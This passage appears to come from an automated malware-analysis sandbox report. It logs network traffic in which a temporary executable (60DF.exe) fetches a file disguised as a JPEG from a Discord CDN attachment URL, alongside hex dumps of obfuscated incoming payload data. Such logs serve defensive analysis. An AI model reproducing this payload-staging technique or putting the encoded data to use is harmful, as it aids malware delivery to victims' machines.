78 20 52 59 20 78 20 59 74 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 4f 
20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 78 20 78 20 
52 59 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 4b 20 78 2
0 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 
Data Ascii: Y x RY x tO x OOQ x RY x QQ x RY x RR x OxK x RY x tO x kO x RY x Qx x RY x RR x OOo x RY x tO x Yo x 
RY x Qx x OOQ x RY x Yt x RY x Rt x tE x RY x tk x kO x RY x OxY x RY x Rk x Yo x RY x kx x RY x RR x Kk x RY x to x 
tE x RY x tK x kO x RR x Ooo x RY x 

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:36 UTC 2627 IN Data Raw: 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 52 
59 20 78 20 52 59 20 78 20 59 4b 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 
20 6b 45 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4f 78 
74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 59 45 20 78 20 52 59 20 78 20 52 59 20 78 
20 74 45 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 74 
20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 74 20 78 20 59 74 20 78 20 52 59 20 78 20 
52 59 20 78 20 74 78 20 78 20 6b 52 20 78 20 59 4b 20 78 
Data Ascii:  x kO x RY x Rk x OxO x Oxo x Oxt x RY x RY x YK x OOE x Oxk x RY x RY x tQ x kE x OOo x kO x RY x Rk x 
Oxt x Oxo x Oxt x RY x RY x OxO x kt x YE x RY x RY x tE x kR x OOt x kO x RY x RR x OOQ x Qt x Oxt x RY x RY x Rt 
x kt x Yt x RY x RY x tx x kR x YK x

2021-10-29 15:55:36 UTC 2643 IN Data Raw: 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6f 20 
78 20 6b 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 59 74 20 78 20 4f 
78 4b 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 6f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 4f 78 6b 
20 78 20 4f 4f 51 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 45 20 78 20 
52 52 20 78 20 4f 78 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 74 6f 
20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 6b 20 78 20 4f 4f 52 20 78 20 52 59 20 
Data Ascii:  kO x RY x RY x OxQ x RY x RR x Oxo x kk x YO x tk x Oxk x Oxx x tx x Yt x OxK x QQ x to x RR x Oxo x Oxx 
x to x Oxk x OOQ x Qx x kO x RY x RY x KQ x OxE x RR x Oxo x kQ x Yx x Yt x OOt x Oxx x to x tK x OOk x Qk x tO x 
Qx x OOQ x RY x RY x Rk x OOR x RY 

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.6 49837 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:36 UTC 2645 OUT GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1
Host: cdn.discordapp.com

2021-10-29 15:55:36 UTC 2645 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:36 GMT
Content-Type: image/jpeg
Content-Length: 345655
Connection: close
CF-Ray: 6a5d96d32ee94e07-FRA
Accept-Ranges: bytes
Age: 78520
Cache-Control: public, max-age=31536000
ETag: "d05714d4497c7b55b2c0b1609cbd62c9"
Expires: Sat, 29 Oct 2022 15:55:36 GMT
Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635249394465681
x-goog-hash: crc32c=to49mQ==
x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 345655
X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNom
t1ATbnkYUYcRxSnB_xGGebc
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AQMk6sVcPQ5anbc7c9WefHu2azhEUdC9
Eu90dJcuLYlpcvYwEeX8m6huNcax63VmWbz%2BxTFfgNeCemAaLeSqEzo%2FBZkobPdeqf0SJw5dOSrknQtMgRIrxk
ifmrdjF%2FninZcN4A%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-29 15:55:36 UTC 2646 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 15:55:36 UTC 2646 IN Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 
78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 
6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 
20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 
6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 
Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY 
x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x 
kY x Yx x kR x Kk x ko x kt x 

2021-10-29 15:55:36 UTC 2647 IN Data Raw: 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 
20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 
20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 
6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 
6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 
78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 
59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 78 20 
Data Ascii: ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ 
x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x 
kk x ko x YE x kK x kt x tx x 
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2021-10-29 15:55:36 UTC 2649 IN Data Raw: 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 
74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 
20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 
74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 
78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 
20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 
51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 20 78 
Data Ascii: OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x 
kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x 
Oxk x Yx x Qx x kR x ko x YE x

2021-10-29 15:55:36 UTC 2650 IN Data Raw: 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 
78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 
51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 
20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 
78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 7
8 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 
51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 6b 
Data Ascii: x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK 
x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox 
x OOk x kQ x Yx x tx x OOY x k

2021-10-29 15:55:36 UTC 2651 IN Data Raw: 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 
78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20
6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 
78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 
4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 
78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 
20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 
Data Ascii: x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x 
RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x 
Qx x OOo x Qk x tO x kR x kK x Oxx 

2021-10-29 15:55:36 UTC 2653 IN Data Raw: 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 
52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 
78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 
74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 
4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 
20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 
Data Ascii:  x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x 
Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x 
RY x OOE x RY x RR x tx x Qk

2021-10-29 15:55:36 UTC 2654 IN Data Raw: 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 
20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 
4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 
20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 
74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 
20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 
78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 78 20 
Data Ascii: x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY 
x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk 
x kY x YO x Oxk x Ooo x kO x 

2021-10-29 15:55:36 UTC 2655 IN Data Raw: 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 74 
20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52
59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 
4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 
78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 
52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 
78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 78 20 
Data Ascii:  RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x 
Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx 
x Oxk x Oxx x tx x tk x YE x QQ x 

2021-10-29 15:55:36 UTC 2657 IN Data Raw: 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 52 
59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 
6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 
74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 
78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 
78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 
Data Ascii: E x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x 
RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x 
OxR x Oxx x RY x RY x RY x OOR x kO x

2021-10-29 15:55:36 UTC 2658 IN Data Raw: 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 
6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 
20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 
74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 
74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 
4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 
Data Ascii:  x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x O
xk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk 
x tK x Oxk x Qk x OOx x kO 

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:36 UTC 2659 IN Data Raw: 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 6f 
78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 
78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 
4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 
78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 
74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 
Data Ascii: k x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x 
RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt 
x Qk x YO x Oxx x Ooo x RY x RY x Rk x 

2021-10-29 15:55:36 UTC 2661 IN Data Raw: 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 
20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 
20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 
74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 
20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 
78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 
74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 51 20 
Data Ascii: k x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x 
OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ 
x kE x kK x tt x OoO x tR x OxQ 

2021-10-29 15:55:36 UTC 2662 IN Data Raw: 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 6b 52 
20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 
78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 
4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 
4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 
78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f 51 20 
Data Ascii:  x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk 
x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x 
OOY x Qx x kO x RY x RY x KQ x OOQ 

2021-10-29 15:55:36 UTC 2663 IN Data Raw: 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 
6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78
20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 
6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 
20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52
20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 
Data Ascii: Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x 
tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox 
x tx x OxO x tO x kR x OxR x Oxx x kk

2021-10-29 15:55:36 UTC 2665 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
